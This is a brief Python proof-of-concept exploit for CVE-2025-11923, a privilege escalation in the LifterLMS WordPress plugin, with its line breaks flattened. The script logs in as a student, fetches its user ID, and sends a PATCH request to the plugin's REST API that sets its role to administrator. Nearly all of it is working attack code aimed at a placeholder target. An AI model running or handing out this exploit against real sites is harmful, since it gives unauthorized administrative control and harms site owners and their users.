CVE-2025-11923

import requests import json # CVE-2025-11923 PoC - LifterLMS Privilege Escalation # Target: WordPress site with LifterLMS plugin TARGET_URL = "http://target-wordpress-site.com" USERNAME = "student_user" PASSWORD = "student_password" def exploit_privilege_escalation(): """ This PoC demonstrates privilege escalation in LifterLMS plugin. An authenticated user with student role can escalate to administrator. """ session = requests.Session() # Step 1: Authenticate and get JWT token auth_url = f"{TARGET_URL}/wp-json/jwt-auth/v1/token" auth_data = { "username": USERNAME, "password": PASSWORD } auth_response = session.post(auth_url, json=auth_data) if auth_response.status_code != 200: print("[-] Authentication failed") return False token = auth_response.json().get("token") headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Step 2: Get current user info to find user ID user_url = f"{TARGET_URL}/wp-json/llms/v1/students/me" user_response = session.get(user_url, headers=headers) user_id = user_response.json().get("id") # Step 3: Exploit - Update user role to administrator # This is the core of CVE-2025-11923 update_url = f"{TARGET_URL}/wp-json/llms/v1/students/{user_id}" exploit_payload = { "roles": ["administrator"] # Privilege escalation payload } update_response = session.patch(update_url, headers=headers, json=exploit_payload) if update_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] User is now an administrator") return True else: print(f"[-] Exploit failed: {update_response.status_code}") return False if __name__ == "__main__": exploit_privilege_escalation()

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